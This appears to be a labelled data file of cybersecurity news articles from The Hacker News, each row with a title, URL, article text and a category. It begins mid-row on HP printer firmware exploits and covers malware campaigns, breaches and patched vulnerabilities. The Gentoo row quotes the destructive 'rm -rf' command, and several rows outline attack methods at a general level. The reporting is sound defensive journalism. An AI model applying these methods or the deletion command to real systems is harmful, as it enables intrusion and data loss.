Cui's technique for infecting printers involves the more limited Printer Job Language, rather than PostScript, and injects code into processes running on the printer. This was effectively a custom rootkit for the printer's OS. Cui gave HP a month to issue patches for the vulnerabilities he discovered, and HP now has new firmware available that fixes this (his initial disclosure was misreported in the press as making printers vulnerable to being overheated and turning into ""flaming death bombs"" he showed a lightly singed sheet of paper that represented the closest he could come to this claim). He urges anyone with an HP printer to apply the latest patch, because malware could be crafted to take over your printer and then falsely report that it has accepted the patch while discarding it.
The vulnerability was disclosed to HP, and updates for infected printers were released last week.
[Source]

",Malware
Hackers-For-Hire Group Develops New 'PowerPepper' In-Memory Malware,https://thehackernews.com/2020/12/hackers-for-hire-group-develops-new.html,"Cybersecurity researchers on Thursday disclosed details of a previously undiscovered in-memory Windows backdoor developed by a hacker-for-hire operation that can execute remotely malicious code and steal sensitive information from its targets in Asia, Europe, and the US.
Dubbed ""PowerPepper"" by Kaspersky researchers, the malware has been attributed to the DeathStalker group (formerly called Deceptikons), a threat actor that has been found to hit law firms and companies in the financial sector located in Europe and the Middle East at least since 2012.
The hacking tool is so-called because of its reliance on steganographic trickery to deliver the backdoor payload in the form of an image of ferns or peppers.
The espionage group first came to light earlier this July, with most of their attacks starting with a spear-phishing email containing a malicious modified LNK (shortcut) file that, when clicked, downloads and runs a PowerShell-based implant named Powersing.
While their objectives don't appear to be financially motivated, their continued interest in collecting crucial business information led Kaspersky to the conclusion that ""DeathStalker is a group of mercenaries offering hacking-for-hire services, or acting as some sort of information broker in financial circles.""
PowerPepper now joins the group's list of expanding and evolving toolsets.
Spotted in the wild in mid-July 2020, this new strain of malware gets dropped from a decoy Word document and leverages DNS over HTTPS (DoH) as a communications channel to transmit encrypted malicious shell commands from an attacker-controlled server.
The spear-phishing emails come with themes as varied as carbon emission regulations, travel booking, and the ongoing coronavirus pandemic, with the Word documents having social engineering banners urging users to enable macros in a bid to lure an unsuspecting user into downloading the backdoor.
To achieve its goals, the implant sends DNS requests to name servers — servers that store the DNS records — associated with a malicious C2 domain, which then sends back the command to be run in the form of an embedded response. Upon execution, the results are beamed to the server through a batch of DNS requests.
Besides leveraging macro-based and LNK-based delivery chains to deploy the malware, DeathStalker employed ""obfuscation, execution and masquerading tricks to hinder detection, or deceive targets that are curious about what is happening on their computers,"" Kaspersky's Pierre Delcher noted.
Chief among them are the capabilities to hide malicious execution workflow in Word embedded shape and object properties and use Windows Compiled HTML Help (CHM) files as archives for malicious files.
Multiple mercenary groups have been seen in the wild before, including BellTroX (aka Dark Basin), Bahamut, and CostaRicto, all of whom have deployed custom malware to breach systems belonging to financial institutions and government officials.
""It only seems fair to write that DeathStalker tried hard to develop evasive, creative and intricate tools with this PowerPepper implant and associated delivery chains,"" Delcher concluded.
""There is nothing particularly sophisticated about the techniques and tricks that are leveraged, yet the whole toolset has proved to be effective, is pretty well put together, and shows determined efforts to compromise various targets around the world.""
To safeguard against PowerPepper delivery and execution, it is recommended that businesses and users update their CMS backends as well as associated plugins, restrict PowerShell use on end-user computers with enforced execution policies, and refrain from opening Windows shortcuts attached to emails, or click links in emails from unknown senders.

",Cyber_Attack
How to Secure Your Mid-Size Organization From the Next Cyber Attack,https://thehackernews.com/2019/01/cyber-security-webinars.html,"If you are responsible for the cybersecurity of a medium-sized company, you may assume your organization is too small to be targeted. Well, think again.

While the major headlines tend to focus on large enterprises getting breached – such as Sony, Equifax, or Target the actual reality is that small and mid-sized companies are experiencing similar threats.

According to Verizon's 2018 Data Breach Investigations Report, fifty-eight percent of malware attack victims are SMBs.

Added to this is the fact that attack vectors that target small and medium-sized businesses are growing increasingly sophisticated, which makes securing them respectively challenging, and the trend of targeting ransomware campaigns on smaller organizations, as attackers assume smaller outfits are more likely to quickly pay in order to avoid damage to their business and reputation.

Cisco's 2018 Security Capabilities Benchmark Study states that 44 percent of cyber attacks cost organizations over $500,000 in financial damages. To put it simply, the cost of being breached is rising.

That said, there is a lot you can do to enhance your security posture within your available resources.

Ensure that your organization has basic security hygiene processes in place. This includes employee cyber safety training, implementing unique IDs, password management and general cyber education.
Set system access limitations for employees and third-party vendors so that people only access the data they actually need.
Ensure that your systems and apps across the network, your databases and servers are updated and patched
Utilize an updated and robust anti-malware solution, that provides security across your entire environment.
Have an incident response plan in place, so that you can quickly respond in the event of a breach.

Want to hear first-hand advice from an experienced CISO? Join this webinar on Wednesday, January 30, 2019, at 1:00 PM EST as Wade P. Richmond, founder, and CEO of CISO ToGo, talks about what SMBs can do to protect their network from cyber attacks effectively.

Sign up for the webinar here, and we'll send you a registration email. See you on January 30, 2019, at 1:00 PM EST to discuss how you can effectively secure your SMB organization from cyber attack.
",Cyber_Attack
Face to Face with Duqu malware,https://thehackernews.com/2012/03/face-to-face-with-duqu-malware.html,"Face to Face with Duqu malware

Once again we discuss about Stuxnet, cyber weapons and of the malware that appears derivate from the dangerous virus. The international scientific community has defined a Stuxnet deadly weapon because been designed with a detailed analysis of final target environment supported by a meticulous intelligence work that for the first time in history has embraced the world of information technology.

The agent was designed with the intent to strike the Iranian nuclear program and even more clear is who has always opposed such a program, U.S. and Israel first, and consider also the technology skill necessary to develope a weapon with the observed architecture is really high.

Extremely important two factors af the event:
1. the choose of control systems as target of the malware.
2. the conception of the virus as an open project, a modular system for which it was designed a development platform used to assemble the deadly cyber weapons in relation to the final targets.

Regarding the second point, it has been discovered a platform behind Stuxnet called ""Tilded Platform"", used also for the development of Duqu malware, and that make possible the development of a set of reusable tools, a true innovation that make possible the composition of ever new and enhanced agents with modules developed to fulfill specific functions against clearly defined targets.

As previously stated Duqu has some interesting features such as:
Modularity of its structure.
In isolated instances of the malware, unlike Stuxnet, it would not seem to be equipped with modules for SCADA systems attack. It is only able to steal information from the host system.
The malware, such as Stuxnet has characteristics that demonstrate innovative techniques behind its development. We suppose that a team of specialists with high technical skills has been engaged to project the most innovative cyber weapon.
According the ENISA Duqu Analysis there are important differences between Duqu and Stuxnet. The 2010 Kaspersky analysis [Gostev 2011] concluded that Stuxnet consists of the two parts:

1. A component responsible for the propagation of the malware (a carrier platform).
2. A separate module targeting Programmable Logic Controllers (an attack module).

According to Kaspersky, the carrier platform of Stuxnet could be reused, for example with a different attack module. But, unlike Stuxnet, DuQu can also be reconfigured remotely to install new malware payloads and to direct attacks at new targets.

The attack module of DuQu, found together with the detected samples was a general purpose keylogger (enriched with some additional spying capabilities) able to perform a reconnaissance in any organization. However, according to Symantec, the aim of DuQu is to infiltrate organizations operating in industrial environments. This conclusion is based on the fact that the majority of the detected threats were found in industrial infrastructures, and because of the connection to Stuxnet code. Unlike Stuxnet, DuQu is an intelligence gathering tool, apparently aiming to prepare the ground for attacks such as Stuxnet. It should be emphasised, however that there is no direct evidence for the intentions behind DuQu

But if Duqu has no components to attack SCADA systems or similar, why create in us so much worry? Remember that we defined modular Duqu? Well this is the feature I think that should cause us to jump from the chair. To date we have isolated versions of malware orphan of those components to attack specific critical systems, but it is reasonable to assume that the same Duqu is a work in progress project. The ability to compose its structure at different times using modules designed specifically for precise goals, makes this unique and formidable.

What occurred in the Stuxnet case has raised media attention demonstrating the total inadequacy of the defense systems of critical infrastructures across the world. Many, too many, the SCADA systems around the world, achievable in an easy manner and easily attacked by evil-minded because they are un protected, exposed on the web for maintenance purpose, and configured with the factory settings easily available even with simple searches on the web. Also for that SCADA systems deployed without security and isolated from the Internet there is a concrete risk to be infected using USB memory sticks.

While in recent weeks, the Iranian government declared definitively defeat the threat Stuxnet in the last month there are many news published on the web related to malware Duqu.

The mistery of Duqu sorce code
The first one was related the identification of the mysterious language used in the DuQu virus. Researchers at Kaspersky Lab requested the help of international experts after failing to figure out the language on their own.
Thanks to help from programmers has been discovered that the language, which DuQu used to communicate with C&C (command & control) servers, is a special type of C code compiled with the Microsoft Visual Studio Compiler 2008.

Despite the long period of study conducted on the agent the component of the source written in C remained a mystery. It's a vital part for Duqu used to communicate with C&C servers, download additional payload modules and execute them on infected machines.

The code was C code compiled with Microsoft Visual Studio Compiler 2008 using options 01 and Ob1 in the compiler to keep the code small optimizing execution time and size of the source code.

The use of object-oriented C dialect, generally called ""OO C, to write the event-driven code in the malware reveals that authors who coded this part of DuQu were probably old-school programmers, their style is uncommon for malware and is more commonly found in professionally-produced commercial software created ten years ago, according Costin Raiu, director of Kaspersky Lab's global research and analysis team.
Another important factor in choose of C language instead other more powerful like C++ it the necessity to grant portability of the agent that maybe must be compiled with several standard compiler in different environments. This requirement indicate us that the agent could be used to attack other platforms, not necessary Widows based.

""Obviously when you create such a complex espionage tool, you take into account that maybe some day you will run it on servers, maybe you will want to run it on mobile phones or God knows what other devices, so you just want to make sure your code will work everywhere,"" Raiu says.

The Duqu evolution
News of these days is that a new variant of Duqu has been isolated, the event confirm the hypothesis made on the evolution of the malware, a work still in progress that will propose in the next year several instances customized to attacks specific targets. The variant found was designed to evade detection mechanism of antivirus products and other security systems. Vikram Thakur, principal security response manager at Symantec, announced that the new Duqu Driver has been identified, let's remind that the module is used for loading the malware's encrypted body stored on the systems. The driver is called mcd9x86.sys and it was compiled on Feb. 23.

What is changed in the new driver?
The source code appears to be reshuffled and compiled with a different set of options and it also contains a different subroutine for decrypting the configuration block and loading the malware's body. A similar operation has been already observed in October 2011. Of course also the references to C&C server are changed because all old structures were shut down on Oct. 20, 2011.

Unfortunately the addresses of this server are not known because principal security firm don't have the full Duqu body but only the loader in the form of the driver, the loader does not contact the C&C directly, it only loads the main body which is stored in encrypted form.

What we expect from the future?
Surely we will confront with new and dangerous cyber threats that can offend the military and also private sector. Agents such as Stuxnet and Duqu are children of an ambitious and complex project that wants to be able to provide an ""evolutionary"" threat. Prepare to have to deal with new modules and new features designed to attack specific targets.

Let me raise serious doubts on the immediate effectiveness of preventive measures against this new generation of cyber weapons because the industry in general is still too vulnerable. Possible evolutions of malware could cause serious damage to infrastructures that use the systems in question.

The only way to emerge unscathed from this awkward situation is a close collaboration between industry, leading manufacturers of control systems and governments, hoping that security will become a requirement in the design phase.

Submitted By : Pierluigi Paganini
About the Author : Pierluigi Paganini, Security Specialist
CEH - Certified Ethical Hacker, EC Council
Security Affairs ( https://securityaffairs.co/wordpress )
Email : pierluigi.paganini@securityaffairs.co

",Malware
Oracle Issues Emergency Java Update for Windows,https://thehackernews.com/2016/02/oracle-issues-emergency-java-update-for.html,"The US-based software maker Oracle delivered an unusual out-of-box emergency patch for Java in an effort to fix a during-installation flaw on the Windows platforms.

The successful exploitation of the critical vulnerability, assigned CVE-2016-0603, could allow an attacker to trick an unsuspecting user into visiting a malicious website and downloading files to the victim's system before installing Java 6, 7 or 8.

Although the vulnerability is considered relatively complex to exploit, a successful attack results in ""complete compromise"" of the target's machine.

What You Need to Know About the Java Exploit

The successful attack requires an attacker to trick a suitably unskilled user for opening a Java release even though the user is nowhere near the Java Website.

Since the existence of the loophole is only during the installation process, users are not required to upgrade their existing Java installations in order to address the vulnerability.

""However, Java users who have downloaded any old version of Java before 6u113, 7u97 or 8u73, should discard these old downloads and replace them with 6u113, 7u97 or 8u73 or later,"" says Eric Maurice, Oracle security blogger.

Patch Now! Java Update Released

Not much details about the flaw have been known yet, neither Oracle has provided any public information on the nature of the vulnerability.

However, due to the threat posed by a successful attack, we strongly recommend customers to apply the emergency patch as soon as possible.

",Vulnerability
Password-Guessing Was Used to Hack Gentoo Linux Github Account,https://thehackernews.com/2018/07/github-hacking-gentoo-linux.html,"Maintainers of the Gentoo Linux distribution have now revealed the impact and ""root cause"" of the attack that saw unknown hackers taking control of its GitHub account last week and modifying the content of its repositories and pages.

The hackers not only managed to change the content in compromised repositories but also locked out Gentoo developers from their GitHub organisation.

As a result of the incident, the developers were unable to use GitHub for five days.

What Went Wrong?

Gentoo developers have revealed that the attackers were able to gain administrative privileges for its Github account, after guessing the account password.

The organisation could have been saved if it was using a two-factor authentication, which requires an additional passcode besides the password in order to gain access to the account.
""The attacker gained access to a password of an organization administrator. Evidence collected suggests a password scheme where disclosure on one site made it easy to guess passwords for unrelated web pages,"" Gentoo wrote in its incident report.
Besides this, Gentoo developers did not also have a backup copy of its GitHub Organization detail. What's more? The systemd repo was also not mirrored from Gentoo but was stored directly on GitHub.

What Went Well? (Luckily)

However, Gentoo believed the project got lucky that the attack was ""loud,"" as knocking all other developers out of the targeted GitHub account caused them to be emailed.

Quick action from both Gentoo and Github put an end to the attack in about 70 minutes.
""The attack was loud; removing all developers caused everyone to get emailed,"" the Gentoo maintainers said. ""Given the credential taken, it's likely a quieter attack would have provided a longer opportunity window.""
Moreover, the report also added that by force pushing commits that attempted to remove all files, the attacker made ""downstream consumption more conspicuous,"" which could have eventually ""blocked git from silently pulling in new content to existing checkouts on 'git pull'.""

As the project previously said, the main Gentoo repositories are kept on Gentoo hosted infrastructure, and Gentoo mirrors to GitHub in order to ""be where the contributors are.""

Therefore, the private keys of the account were not impacted by the incident, and so the Gentoo-hosted infrastructure.

Impact of the Cyber Attack

As a result of the incident, the Gentoo Proxy Maintainers Project was impacted as many proxy maintainers contributors use GitHub to submit pull requests, and all past pull requests were also disconnected from their original commits and closed.

The attackers also attempted to add ""rm -rf"" commands to various repositories, which if executed, would have deleted user data recursively. However, this code was unlikely to be executed by end users due to various technical guards in place.

rm is a Unix command which is used for removing files, directories and similar, and rm -rf denotes a more forcible removal, which ""would cause every file accessible from the present file system to be deleted from the machine.""

Steps Taken to Prevent Future Cyber Attacks

Following the incident, Gentoo has taken many actions to prevent such attacks in the future. These actions include:

Making frequent backups of its GitHub Organization.
Enabling two-factor authentication by default in Gentoo's GitHub Organization, which will eventually come to all users the project's repositories.
Working on an incident response plan, particularly for sharing information about a security incident with users.
Tightening up procedures around credential revocation.
Reducing the number of users with elevated privileges, auditing logins, and publishing password policies that mandate password managers.
Introducing support for hardware-based 2FA for Gentoo developers

Currently, it is not known who was behind the Gentoo Hack. Gentoo did not say if the incident has been reported to law enforcement to hunt for the hacker(s).

",Cyber_Attack
Bamital botnet servers seized by Microsoft and Symantec,https://thehackernews.com/2013/02/bamital-botnet-servers-seized-by.html,"Microsoft teamed up with Symantec to take down a nasty malware affecting thousands upon thousands of PCs. Bamital botnet hijacked people's search experiences and redirected victims to potentially dangerous sites that could leave them vulnerable to other online threats and steal their personal information.


Experts from the organizations obtained a court order and shut down servers at a data center in New Jersey and convinced operators in Virginia to shut down a server they control in the Netherlands on Wednesday.

The Bamital botnet threatened the US$12.7 billion online advertising industry by generating fraudulent clicks on Internet ads. Microsoft's research shows that Bamital hijacked more than 8 million computers over the past two years. Microsoft says that the botnet affected many major search engines and browsers including Bing, Yahoo, and Google offerings.

Bamital's organizers also had the ability to take control of infected PCs, installing other types of computer viruses that could engage in identity theft, recruit PCs into networks that attack websites and conduct other types of computer crimes.

Now that the servers have been shut down, users of infected PCs will be directed to a site informing them that their machines are infected with malicious software when they attempt to search the web.

It was the sixth time that Microsoft has obtained a court order to disrupt a botnet since 2010. Botnets are an increasing problem for security firms and computer users alike.

Their complaint identified 18 ""John Doe"" ringleaders, scattered from Russia and Romania to Britain, the United States and Australia, who registered websites and rented servers used in the operation under fictitious names.


",Malware
11 Million Ashley Madison Passwords Cracked In Just 10 Days,https://thehackernews.com/2015/09/ashley-madison-password-cracked.html,"Last month, when hackers leaked nearly 100 gigabytes of sensitive data belonging to the popular online casual sex and marriage affair website 'Ashley Madison', there was at least one thing in favor of 37 Million cheaters that their Passwords were encrypted.

But, the never ending saga of Ashley Madison hack could now definitely hit the cheaters hard, because a group of crazy Password Cracking Group, which calls itself CynoSure Prime, has cracked more than 11 Million user passwords just in the past 10 days, not years.

Yes, the hashed passwords that were previously thought to be cryptographically protected using Bcrypt, have now been cracked successfully.

Bcrypt is a cryptographic algorithm that makes the hashing process so slow that it would literally take centuries to brute-force all of the Ashley Madison account passwords.

How do they Crack Passwords?

The Password cracking team identified a weakness after reviewing the leaked data, which included users' hashed passwords, executive e-mails and website source code.

During website's source code audit and analysis, the team found that some of the login tokens used by the website were protected using MD5 (a weak and fast hashing algorithm).

So, instead of cracking the slow Bcrypt algorithm, they simply brute-forced the MD5 tokens of respective accounts, which allowed the Password Cracking team to effectively obtain 11.2 Million passwords in plaintext format.

Also Read: Best Password Manager — For Windows, Linux, Mac, Android, iOS and Enterprise

However, this approach doesn't allow to crack all 37 million Ashley Madison passwords, because the notoriously weak MD5 hashing algorithm was only introduced on June 2012.

Therefore, researchers estimated that nearly 15 million Ashley Madison accounts could be affected, out of which 11.4 Million are already cracked by the team's password-cracking software.

Change Your Ashley Madison Password Now!

Researchers also claimed that they hope to crack the remaining 4 Million improperly secured account passwords within next 7-8 days.

Ashley Madison users are advised to change their account passwords if they haven't already changed them.

Moreover, the users need to follow some standard prevention practice, such as:
Do not use the same login credentials on other websites, like eBay or PayPal, as hackers could break into that account using the cracked password and the already dumped email addresses.
Use strong and different passwords on different sites.
Use a reputed and Best Password Manager to manage all your passwords.
Further Related Reading:
Ashley Madison Hackers Released All the Stolen Data Online
Hackers Leak 20GB Data Dump, Including CEO's Emails
Ashley Madison Hacker – An Insider Woman Employee?
List of Top 10 Big Tech Companies where Ashley Madison is very Popular
Disgusting! Ashley Madison was Building an App – 'What's your Wife Worth?'
Lessons We Learned From Ashley Madison Data Breach

",Data_Breaches
Citrix Releases Patches for Critical ADC Vulnerability Under Active Attack,https://thehackernews.com/2020/01/citrix-adc-patch-update.html,"Citrix has finally started rolling out security patches for a critical vulnerability in ADC and Gateway software that attackers started exploiting in the wild earlier this month after the company announced the existence of the issue without releasing any permanent fix.

I wish I could say, ""better late than never,"" but since hackers don't waste time or miss any opportunity to exploit vulnerable systems, even a short window of time resulted in the compromise of hundreds of Internet exposed Citrix ADC and Gateway systems.

As explained earlier on The Hacker News, the vulnerability, tracked as CVE-2019-19781, is a path traversal issue that could allow unauthenticated remote attackers to execute arbitrary code on several versions of Citrix ADC and Gateway products, as well as on the two older versions of Citrix SD-WAN WANOP.

Rated critical with CVSS v3.1 base score 9.8, the issue was discovered by Mikhail Klyuchnikov, a security researcher at Positive Technologies, who responsibly reported it to Citrix in early December.

The vulnerability is actively being exploited in the wild since last week by dozens of hacking groups and individual attackers—thanks to the public release of multiple proofs-of-concept exploit code.

According to cyber security experts, as of today, there are over 15,000 publicly accessible vulnerable Citrix ADC and Gateway servers that attackers can exploit overnight to target potential enterprise networks.

FireEye experts found an attack campaign where someone was compromising vulnerable Citrix ADCs to install a previously-unseen payload, dubbed ""NotRobin,"" that scans systems for cryptominers and malware deployed by other potential attackers and removes them to maintain exclusive backdoor access.

#Citrix released a free tool that analyzes available log sources and system forensic artifacts to identify whether an ADC appliance has potentially been compromised using CVE-2019-19781 security flaw.

You can find the tool and instructions here: https://t.co/eewijzI2l9#infosec https://t.co/YKMwgPzmYE
— The Hacker News (@TheHackersNews) January 22, 2020


""This actor exploits NetScaler devices using CVE-2019-19781 to execute shell commands on the compromised device,"" FireEye said.

""FireEye believes that the actor behind NOTROBIN has been opportunistically compromising NetScaler devices, possibly to prepare for an upcoming campaign. They remove other known malware, potentially to avoid detection by administrators.""

Citrix Patch Timeline: Stay Tuned for More Software Updates!

Last week Citrix announced a timeline, promising to release patched firmware updates for all supported versions of ADC and Gateway software before the end of January 2020, as shown in the chart.
As part of its first batch of updates, Citrix today released permanent patches for ADC versions 11.1 and 12.0 that also apply to ""ADC and Gateway VPX hosted on ESX, Hyper-V, KVM, XenServer, Azure, AWS, GCP or on a Citrix ADC Service Delivery Appliance (SDX).""

""It is necessary to upgrade all Citrix ADC and Citrix Gateway 11.1 instances (MPX or VPX) to build 11.1.63.15 to install the security vulnerability fixes. It is necessary to upgrade all Citrix ADC and Citrix Gateway 12.0 instances (MPX or VPX) to build 12.0.63.13 to install the security vulnerability fixes,"" Citrix said in its advisory.

""We urge customers to install these fixes immediately,"" the company said. ""If you have not already done so, you need to apply the previously supplied mitigation to ADC versions 12.1, 13, 10.5, and SD-WAN WANOP versions 10.2.6 and 11.0.3 until the fixes for those versions are available.""

The company also warned that customers with multiple ADC versions in production must apply the correct version of patch to each system separately.

Besides installing available patches for supported versions and applying the recommended mitigation for unpatched systems, Citrix ADC administrators are also advised to monitor their device logs for attacks.

UPDATE — Citrix on Thursday also released second batch of permanent security patches for critical RCE vulnerability affecting ADC and Gateway versions 12.1 and 13.0.

",Vulnerability
Marriott Faces $123 Million GDPR Fine Over Starwood Data Breach,https://thehackernews.com/2019/07/marriott-data-breach-gdpr.html,"After fining British Airways with a record fine of £183 million earlier this week, the UK's data privacy regulator is now planning to slap world's biggest hotel chain Marriott International with a £99 million ($123 million) fine under GDPR over 2014 data breach.

This is the second major penalty notice in the last two days that hit companies for failing to protect its customers' personal and financial information compromised and implement adequate security measures.

In November 2018, Marriott discovered that unknown hackers compromised their guest reservation database through its Starwood hotels subsidiary and walked away with personal details of approximately 339 million guests.

The compromised database leaked guests' names, mailing addresses, phone numbers, email addresses, dates of birth, gender, arrival and departure information, reservation date, and communication preferences.

The breach, which likely happened in 2014, also exposed unencrypted passport numbers for at least 5 million users and credit card records of eight million customers.

According to the Information Commissioner's Office (ICO), nearly 30 million residents of 31 countries in the European and 7 million UK residents were impacted by the Marriott data breach.

The ICO's investigation found that Marriott failed to undertake sufficient due diligence when it bought Starwood and should also have done more to secure its systems.

Last year, the General Data Protection Regulation (GDPR) was introduced in Europe that forces companies to make sure the way they collect, process, and store data are safe.

""The GDPR makes it clear that organizations must be accountable for the personal data they hold. This can include carrying out proper due diligence when making a corporate acquisition, and putting in place proper accountability measures to assess not only what personal data has been acquired, but also how it is protected,"" Information Commissioner Elizabeth Denham said.

""Personal data has real value so organizations have a legal duty to ensure its security, just like they would do with any other asset. If that doesn't happen, we will not hesitate to take strong action when necessary to protect the rights of the public.""

Marriott International's president Arne Sorenson said the company was ""disappointed"" with the ICO's announcement and would contest the fine.

",Data_Breaches
Skygofree — Powerful Android Spyware Discovered,https://thehackernews.com/2018/01/android-spying-malware.html,"Security researchers have unveiled one of the most powerful and highly advanced Android spyware tools that give hackers full control of infected devices remotely.

Dubbed Skygofree, the Android spyware has been designed for targeted surveillance, and it is believed to have been targeting a large number of users for the past four years.

Since 2014, the Skygofree implant has gained several novel features previously unseen in the wild, according to a new report published by Russian cybersecurity firm Kaspersky Labs.

The 'remarkable new features' include location-based audio recording using device's microphone, the use of Android Accessibility Services to steal WhatsApp messages, and the ability to connect infected devices to malicious Wi-Fi networks controlled by attackers.

Skygofree is being distributed through fake web pages mimicking leading mobile network operators, most of which have been registered by the attackers since 2015—the year when the distribution campaign was most active, according to Kaspersky's telemetry data.

Italian IT Firm Behind Skygofree Spyware?
Researchers at Kaspersky Lab believe the hacker or hacking group behind this mobile surveillance tool has been active since 2014 and are based in Italy—the home for the infamous 'Hacking Team'—one of the world's bigger players in spyware trading.
""Given the many artifacts we discovered in the malware code, as well as infrastructure analysis, we are pretty confident that the developer of the Skygofree implants is an Italian IT company that works on surveillance solutions, just like HackingTeam,"" said the report.
Kaspersky found several Italian devices infected with Skygofree, which the firm described as one of the most powerful, advanced mobile implants it has ever seen.

Although the security firm has not confirmed the name of the Italian company behind this spyware, it found multiple references to Rome-based technology company ""Negg"" in the spyware's code. Negg is also specialised in developing and trading legal hacking tools.

Skygofree: Powerful Android Spyware Tool

Once installed, Skygofree hides its icon and starts background services to conceal further actions from the user. It also includes a self-protection feature, preventing services from being killed.

As of October last year, Skygofree became a sophisticated multi-stage spyware tool that gives attackers full remote control of the infected device using a reverse shell payload and a command and control (C&C) server architecture.

According to the technical details published by researchers, Skygofree includes multiple exploits to escalate privileges for root access, granting it ability to execute most sophisticated payloads on the infected Android devices.
One such payload allows the implant to execute shellcode and steal data belonging to other applications installed on the targeted devices, including Facebook, WhatsApp, Line, and Viber.
""There are multiple, exceptional capabilities: usage of multiple exploits for gaining root privileges, a complex payload structure, [and] never-before-seen surveillance features,"" the researchers said.
Skygofree's control (C&C) server also allows attackers to capture pictures and videos remotely, seize call records and SMS, as well as monitor the users' geolocation, calendar events and any information stored in the device's memory.

Besides this, Skygofree also can record audio via the microphone when the infected device was in a specified location and the ability to force the infected device to connect to compromised Wi-Fi networks controlled by the attacker, enabling man-in-the-middle attacks.
The spyware uses ""the Android Accessibility Service to get information directly from the displayed elements on the screen, so it waits for the targeted application to be launched and then parses all nodes to find text messages,"" Kaspersky said.
Kaspersky researchers also found a variant of Skygofree targeting Windows users, suggesting the authors' next area of interest is the Windows platform.

The best way to prevent yourself from being a victim is to avoid downloading apps via third-party websites, app stores or links provided in SMS messages or emails.

",Malware
Popular Netop Remote Learning Software Found Vulnerable to Hacking,https://thehackernews.com/2021/03/popular-netops-remote-learning-software.html,"Cybersecurity researchers on Sunday disclosed multiple critical vulnerabilities in remote student monitoring software Netop Vision Pro that a malicious attacker could abuse to execute arbitrary code and take over Windows computers.
""These findings allow for elevation of privileges and ultimately remote code execution which could be used by a malicious attacker within the same network to gain full control over students' computers,"" the McAfee Labs Advanced Threat Research team said in an analysis.
The vulnerabilities, tracked as CVE-2021-27192, CVE-2021-27193, CVE-2021-27194, and CVE-2021-27195, were reported to Netop on December 11, 2020, after which the Denmark-based company fixed the issues in an update (version 9.7.2) released on February 25.
""Version 9.7.2 of Vision and Vision Pro is a maintenance release that addresses several vulnerabilities, such as escalating local privileges sending sensitive information in plain text,"" the company stated in its release notes.
Netop counts half of the Fortune 100 companies among its customers and connects more than 3 million teachers and students with its software. Netop Vision Pro allows teachers to remotely perform tasks on students' computers, such as monitoring and managing their screens in real time, restricting access to a list of allowed Web sites, launching applications, and even redirecting students' attention when they are distracted.
During the course of McAfee's investigation, several design flaws were uncovered, including:
CVE-2021-27194 - All network traffic between teacher and student is sent unencrypted and in clear text (e.g., Windows credentials and screenshots) without the ability to enable this during setup. In addition, screen captures are sent to the teacher as soon as they connect to a classroom to allow real-time monitoring.
CVE-2021-27195 - An attacker can monitor unencrypted traffic to impersonate a teacher and execute attack code on student machines by modifying the packet that contains the exact application to be executed, such as injecting additional PowerShell scripts.
CVE-2021-27192 - A ""Technical Support"" button in Netop's ""about"" menu can be exploited to gain privilege escalation as a ""system"" user and execute arbitrary commands, restart Netop, and shut down the computer.
CVE-2021-27193 - A privilege flaw in Netop's chat plugin could be exploited to read and write arbitrary files in a ""working directory"" that is used as a drop location for all files sent by the instructor. Worse, this directory location can be changed remotely to overwrite any file on the remote PC, including system executables.
CVE-2021-27193 is also rated 9.5 out of a maximum of 10 in the CVSS rating system, making it a critical vulnerability.
Needless to say, the consequences of such exploitation could be devastating. They range from the deployment of ransomware to the installation of keylogging software to the chaining of CVE-2021-27195 and CVE-2021-27193 to keep an eye on the webcams of individual computers running the software, McAfee warned.
While most of the vulnerabilities have been fixed, the fixes put in place by Netop still don't address the lack of network encryption, which is expected to be implemented in a future update.
""An attacker doesn't have to compromise the school network; all they need is to find any network where this software is accessible, such as a library, coffee shop or home network,"" said researchers Sam Quinn and Douglas McKee. ""It doesn't matter where one of these student's PCs gets compromised, as a well-designed malware could lay dormant and scan each network the infected PC connects to until it finds other vulnerable instances of Netop Vision Pro to further propagate the infection.""
""Once these machines have been compromised, the remote attacker has full control of the system since they inherit the System privileges. Nothing at this point, could stop an attacker running as 'system' from accessing any files, terminating any process, or reaping havoc on the compromised machine,"" they added.
The findings come at a time when the U.S. Federal Bureau of Investigation warned last week of an increase in PYSA (aka Mespinoza) ransomware attacks targeting educational institutions in 12 U.S. states and the U.K.
We have asked Netop for more details on the security updates and will update this article as soon as we receive a response.

",Vulnerability
"Microsoft Seized No-IP Domains, Millions of Dynamic DNS Service Users Suffer Outage",https://thehackernews.com/2014/06/microsoft-seized-no-ip-domains-millions.html,"In an effort to crackdown on cyber crimes, Microsoft has taken a legal action against a malware network what it thought is responsible for more than 7.4 million infections of Windows PCs across the globe.

Millions of legitimate servers that rely on Dynamic Domain Name Service (DDNS) from No-IP.com, owned by Vitalwerks Internet Solutions were blacked out on Monday after Microsoft seized their 23 domain names that were being used by malware developed in the Middle East and Africa.

No-IP FOR MALWARE OPERATORS
The Dynamic Domain Name Service (DDNS) from No-IP.com works by mapping users' dynamic IP addresses to a customized No-IP sub-domain like yourhost.no-ip.org or yourhost.no-ip.biz. This mechanism allows users to connect to a system with dynamic IP address using a static No-IP sub-domain.

No doubt its a useful service, but Nevada-based No-IP Dynamic DNS (DDNS) service subdomains have been abused by creators of malware for infecting millions of computers with malicious software at large scale.

FAMOUS MALWARE FAMILIES USING No-IP SERVICE
Microsoft security research team began this operation under an order granted by a federal court in Nevada, and targeted traffic involving two malware families that abused No-IP services. The Windows malwares, which went by the names Bladabindi (aka NJrat) and Jenxcus (aka NJw0rm), use No-IP accounts to communicate with their creators in 93 percent of detected infections, which are the most prevalent among the 245 other pieces of malware currently exploiting No-IP domains.

In a blog post, Richard Domingues Boscovich, assistant general counsel at Microsoft's Digital Crimes Unit, said Microsoft pursued the seizure for No-IP's role ""in creating, controlling, and assisting in infecting millions of computers with malicious software—harming Microsoft, its customers and the public at large."" He claimed.

LARGE SCALE MALWARE INFECTION AND ACCUSED AUTHORS
Over the past year, Microsoft security team has detected more than 7 million infections that makes use of Bladabindi and Jenxcus malware, in order to take control of users' computers, steal passwords, and turn on webcams and microphones.

Microsoft accused Kuwaiti national Naser Al Mutairi and Algerian national Mohamed Benabdellah of writing and distributing the Bladabindi and Jenxcus malware, respectively. Microsoft claims the developers have sold over 500 copies of the malicious software to crooks and cyber criminals, and promoted No-IP service to use with malware to help them covering their tracks.

In a civil case filed on June 19, Microsoft named two individuals, Mohamed Benabdellah and Naser Al Mutairi, and a U.S. company, Vitalwerks Internet Solutions of violating ""federal and state law by distributing malicious software through more than 18,000 sub-domains belonging to No-IP, causing the unlawful intrusion into, infection of, and further illegal conduct involving, the personal computers of innocent persons, thereby causing harm to those persons, Microsoft, and the public at large.""

